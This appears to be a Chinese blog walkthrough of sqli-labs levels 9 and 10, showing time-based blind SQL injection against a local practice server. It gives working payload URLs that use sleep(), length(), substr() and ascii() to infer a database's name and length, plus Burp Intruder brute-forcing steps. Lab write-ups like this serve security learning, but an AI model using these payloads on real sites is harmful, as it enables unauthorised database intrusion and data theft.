sqli9-10

第九关 GET-Blind -Time based. - Single Quotes 

1.从题目来看,应该是get型的单引号的时间盲注

盲注:盲注也是注入的一种,盲注一般分为布尔盲注和时间盲注。布尔盲注就是说页面的返回值只有两种, True 和 False。所以我们只能通过测试输入的注入语句为 Ture 或 False 来判断注入的效果,并通过这两种可能一步步得判断出数据库的信息。时间盲注是不管你在界面输入什么界面都不改变,只有通过时间睡眠来判断输入的对错

2.进入第九关,在url后输入?id=1

sqli9-10

3.不管输入什么进行判断,页面都是显示you are in

sqli9-10

 4.试一下在后面加‘ and sleep(5) --+,浏览器真的睡眠了5秒才加载出来,由此我们可以判断出这是一个单引号时间盲注

sqli9-10

5.介绍一下我们要用到的函数

  length()  :   返回字符串的长度

  substr()  :   截取字符串,第一个参数字符串,第二个参数起始位(从1开始),第三个参数偏移量

  ascii()   :   返回字符的ascii码

6.使用上面的函数判断一下当前数据库的长度

http://192.168.0.107/sqli-labs/sqli-labs-master/Less-9/?id=1‘ and if((select length(database()))>7,sleep(5),1)--+

sqli9-10

页面睡眠了5秒,所以可以推断数据库的长度是大于7的。再慢慢增大尝试,最终得到当前数据库长度为8。

7.我们还可以通过burp代理抓包的方式进行判断,我们改一下上面的句子,把大于改成等于,把5秒改成2秒

http://192.168.0.107/sqli-labs/sqli-labs-master/Less-9/?id=1‘ and if((select length(database()))=7,sleep(2),1)--+

sqli9-10

抓到包后,我们使用快捷键:Ctrl+I,此时测试器模块变成红色,我们点击进行爆破,先点击清除然后在7的前后添加符号

 sqli9-10

在测试器模块下的有效载荷类型选择数值,从1道100增量为1,然后点击开始攻击

 sqli9-10

开始攻击,成功爆出数据库长度为8

 sqli9-10

8.爆出当前数据库名

http://192.168.0.107/sqli-labs/sqli-labs-master/Less-9/?id=1‘ and if(ascii(substr((select database()),1,1))=0 ,sleep(2),1)  --+

if表判断,ascii表示把查出来的转成ascii码,substr截取字符串第一个参数要截取的字符串,第二个参数起始位,第三个参数偏移量

sqli9-10

sqli9-10

 

sqli9-10

 

爆出来了

sqli9-10

 通过同样的方法我们还可以爆出表,字段,数据,这里我就不一一说明了。

 

第十关 GET-Blind -Time based. - double Quotes 

从题目来看,应该是get型的双引号的时间盲注,直接把第九关的单引号改成双引号就行,这里我就不说明了

sqli9-10

 

sqli9-10

上一篇:一句话实现MySQL库中的按连续等值分组


下一篇:Sql去重语句